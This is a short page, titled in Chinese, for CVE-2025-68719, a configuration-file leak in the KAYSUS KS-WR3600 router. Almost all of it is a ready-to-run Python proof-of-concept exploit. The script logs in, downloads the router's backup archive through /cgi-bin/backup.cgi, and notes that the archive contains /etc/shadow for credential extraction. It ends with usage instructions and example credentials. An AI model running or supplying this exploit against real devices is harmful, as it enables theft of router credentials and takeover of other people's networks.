CVE-2025-68719 | KAYSUS KS-WR3600路由器敏感配置文件泄露漏洞

#!/usr/bin/env python3 # CVE-2025-68719 PoC - KAYSUS KS-WR3600 Configuration Backup Exploit # Description: Exploit to download sensitive configuration archive from KAYSUS KS-WR3600 router import requests import sys def exploit_ks_wr3600(target_ip, username, password): """ Exploit the configuration backup vulnerability in KAYSUS KS-WR3600 routers Args: target_ip: Target router IP address username: Valid username for authentication password: Valid password for authentication Returns: bool: True if exploitation successful, False otherwise """ base_url = f"http://{target_ip}" # Step 1: Authenticate to the router login_url = f"{base_url}/cgi-bin/login.cgi" login_data = { "username": username, "password": password } session = requests.Session() try: login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Login failed with status code: {login_response.status_code}") return False print("[+] Authentication successful") # Step 2: Download configuration backup backup_url = f"{base_url}/cgi-bin/backup.cgi" backup_response = session.get(backup_url, timeout=30) if backup_response.status_code == 200 and len(backup_response.content) > 0: # Save the configuration archive output_file = "config_backup.tar.gz" with open(output_file, "wb") as f: f.write(backup_response.content) print(f"[+] Configuration backup downloaded successfully: {output_file}") print(f"[+] File size: {len(backup_response.content)} bytes") print("[+] The archive contains sensitive files including /etc/shadow") print("[+] Attackers can extract credentials and compromise the device") return True else: print(f"[-] Backup download failed with status code: {backup_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python3 {sys.argv[0]} <target_ip> <username> <password>") print(f"Example: python3 {sys.argv[0]} 192.168.1.1 admin admin123") sys.exit(1) target_ip = sys.argv[1] username = sys.argv[2] password = sys.argv[3] print(f"[*] Targeting KAYSUS KS-WR3600 router at {target_ip}") print(f"[*] CVE-2025-68719 - Configuration Backup Vulnerability") exploit_ks_wr3600(target_ip, username, password)